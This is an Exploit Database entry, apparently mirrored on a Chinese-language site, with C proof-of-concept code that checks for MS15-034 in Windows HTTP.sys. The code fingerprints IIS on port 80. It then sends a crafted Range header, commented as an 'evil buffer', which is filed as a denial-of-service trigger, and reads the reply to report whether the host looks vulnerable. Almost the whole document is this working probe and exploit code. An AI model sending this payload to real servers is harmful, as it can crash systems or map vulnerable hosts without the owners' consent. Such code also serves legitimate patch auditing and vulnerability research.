Microsoft Windows – ‘HTTP.sys’ (PoC) (MS15-034)

• Exploit Database
• 15 阅读

• 作者： rhcp011235
  日期： 2015-04-15
• 类别：

  • dos
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/36773/

• /*
   UNTESTED - MS15-034 Checker
  
   THE BUG:
  
  	8a8b2112 56pushesi
  	8a8b2113 6a00push0
  	8a8b2115 2bc7sub eax,edi
  	8a8b2117 6a01push1
  	8a8b2119 1bcasbb ecx,edx
  	8a8b211b 51pushecx
  	8a8b211c 50pusheax
  	8a8b211d e8bf69fbffcallHTTP!RtlULongLongAdd (8a868ae1) ; here
  
  	ORIGNAL POC: http://pastebin.com/raw.php?i=ypURDPc4
  
  	BY: john.b.hale@gmai.com
  	Twitter: @rhcp011235
  */
  
  #include <sys/socket.h>
  #include <sys/types.h>
  #include <netinet/in.h>
  #include <netdb.h>
  #include <stdio.h>
  #include <string.h>
  #include <stdlib.h>
  #include <unistd.h>
  #include <errno.h>
  #include <arpa/inet.h> 
  
  int connect_to_server(char *ip)
  {
  	int sockfd = 0, n = 0;
  
  	 struct sockaddr_in serv_addr;
  	 struct hostent *server;
  
  	if((sockfd = socket(AF_INET, SOCK_STREAM, 0)) < 0)
  	{
  	printf("\n Error : Could not create socket \n");
  	return 1;
  	}
  
  	memset(&serv_addr, '0', sizeof(serv_addr));
  	serv_addr.sin_family = AF_INET;
  	serv_addr.sin_port = htons(80);
  	if(inet_pton(AF_INET, ip, &serv_addr.sin_addr)<=0)
  	{
  	printf("\n inet_pton error occured\n");
  	return 1;
  	}
  	if( connect(sockfd, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) < 0)
  	{
   		printf("\n Error : Connect Failed \n");
  		return 1;
  	} 
  
  	return sockfd;
  }
  	
  
  int main(int argc, char *argv[])
  {
  int n = 0;
  int sockfd;
  char recvBuff[1024];
  
  // Check server
  char request[] = "GET / HTTP/1.0\r\n\r\n";
  
  // our evil buffer
  char request1[] = "GET / HTTP/1.1\r\nHost: stuff\r\nRange: bytes=0-18446744073709551615\r\n\r\n";
  
  
  if(argc != 2)
  {
  printf("\n Usage: %s <ip of server> \n",argv[0]);
  return 1;
  } 
  
  printf("[*] Audit Started\n");
  sockfd = connect_to_server(argv[1]);
  write(sockfd, request, strlen(request)); 
  read(sockfd, recvBuff, sizeof(recvBuff)-1);
  
  if (!strstr(recvBuff,"Microsoft"))
  {
  		printf("[*] NOT IIS\n");
  		exit(1);
  }
  
  sockfd = connect_to_server(argv[1]);
  write(sockfd, request1, strlen(request1));
  read(sockfd, recvBuff, sizeof(recvBuff)-1);
  if (strstr(recvBuff,"Requested Range Not Satisfiable"))
  {
  printf("[!!] Looks VULN\n");
  exit(1);
  } else if(strstr(recvBuff,"The request has an invalid header name")) {
  	printf("[*] Looks Patched");
  } else
  	printf("[*] Unexpected response, cannot discern patch status");
  	
  
  		
  
  }